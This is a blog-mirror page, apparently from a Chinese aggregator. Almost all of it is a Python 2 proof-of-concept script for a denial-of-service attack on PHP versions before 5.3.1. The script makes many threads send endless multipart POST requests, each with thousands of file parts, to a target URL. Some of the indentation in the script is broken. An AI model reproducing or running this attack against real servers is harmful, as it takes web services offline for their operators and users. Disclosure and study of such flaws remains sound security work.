zoukankan      html  css  js  c++  java
  • PHP 5.3.1版本之前的拒绝服务攻击漏洞(附测试代码)

    # 
    # PHP MultiPart Form-Data Denial of Service proof of concept, 23-10-2009 
    # Bogdan Calin (bogdan@acunetix.com) 
    # 
    import httplib, urllib, sys, string, threading 
    from string import replace 
    from urlparse import urlparse
    def usage(): 
            print "****************************************************************************" 
            print " PHP MultiPart Form-Data Denial of Service proof of concept" 
            print " Bogdan Calin (bogdan@acunetix.com)" 
            print "" 
            print " Usage: php_mpfd_dos.py url [number_of_threads] [number_of_files] [data]" 
            print ""         
            print " [number_of_threads] - optional, default 10"         
            print " [number_of_files] - optional, default 15000"                 
            print " [data] - content of the files, by default it will create files containing" 
            print "           the string " 
            print ""                 
            print " Example: php_mpfd_dos.pyhttp://ubuntu/index.php"         
            print "****************************************************************************" 
             
    class PhpMPFDDosThread ( threading.Thread ): 
            # Override Thread's __init__ method to accept the parameters needed: 
            def __init__ ( self, host, path, files ):         
                    self.host = host 
                    self.path = path 
                    self.files = files 
                    threading.Thread.__init__ ( self )                
            # run in loop 
            def run(self): 
                    while(1): 
                            try: 
                                    self.post_data() 
                            except: 
                                    print "*", 
                     
            # post multipart_formdata         
            def post_data(self):         
                content_type, body = self.encode_multipart_formdata() 
                h = httplib.HTTPConnection(self.host) 
                headers = { 
                    'User-Agent': 'Opera/9.20 (php_mpfd_dos;poc)', 
                    'Accept': '*/*', 
                    'Content-Type': content_type 
                    } 
                h.request('POST', self.path, body, headers) 
                print ".",
            # encode multipart_formdata 
            def encode_multipart_formdata(self): 
                    """ 
                    adapted fromhttp://code.activestate.com/recipes/146306/ 
                    files is a sequence of (name, filename, value) elements for data to be uploaded as files 
                    Return (content_type, body) ready for httplib.HTTP instance 
                    """ 
                    BOUNDARY = '----------PHP_MPFD_DOS' 
                    CRLF = '\r\n' 
                    L = [] 
                    for (key, filename, value) in self.files: 
                    L.append('--' + BOUNDARY) 
                    L.append('Content-Disposition: form-data; name="%s"; filename="%s"' % (key, filename)) 
                    L.append('Content-Type: application/octet-stream') 
                    L.append('') 
                    L.append(value) 
                    L.append('--' + BOUNDARY + '--') 
                    L.append('') 
                    body = CRLF.join(L) 
                    content_type = 'multipart/form-data; boundary=%s' % BOUNDARY 
                    return content_type, body
    def main():     
            if len(sys.argv)<=1: 
                    usage() 
                    sys.exit()
            # default values 
            number_of_threads = 10 
            number_of_files = 15000 
            data = "" 
             
            if len(sys.argv)>2: 
                    number_of_threads = int(sys.argv[2])
            if len(sys.argv)>3: 
                    number_of_files = int(sys.argv[3])
            if len(sys.argv)>4: 
                    data = sys.argv[4]         
             
            url = sys.argv[1] 
            print "[-] target: " + url
            # parse target url 
            up = urlparse(url) 
            host = up.netloc 
            path = up.path
            # prepare files 
            files = [] 
            for i in range(0, number_of_files): 
                    files.append(('fu[]', 'f'+str(i), data)) 
             
            # start the threads 
            for x in xrange ( number_of_threads ): 
                    PhpMPFDDosThread(host, path, files).start()
    if __name__ == '__main__': 
        main()
    

      

  • 相关阅读:
    QT 制作串口调试小助手----(小白篇)
    外卖自提柜设备端主控
    C++的六个函数
    后台业务系统设计流程的6个步骤
    C#中如何将图片添加为程序的资源
    提供Chrome浏览器插件网站
    是时候弃用ibSass和node-sass而采用Dart Sass了!
    vue引入element-ui插件 “export ‘default‘ (imported as ‘Vue‘) was not found in ‘vue‘
    [转]Vue3.0和Vue2.0的区别
    vue-cli@4搭建 vue + element-ui 项目实操
  • 原文地址:https://www.cnblogs.com/swordzj/p/2630791.html
Copyright © 2011-2022 走看看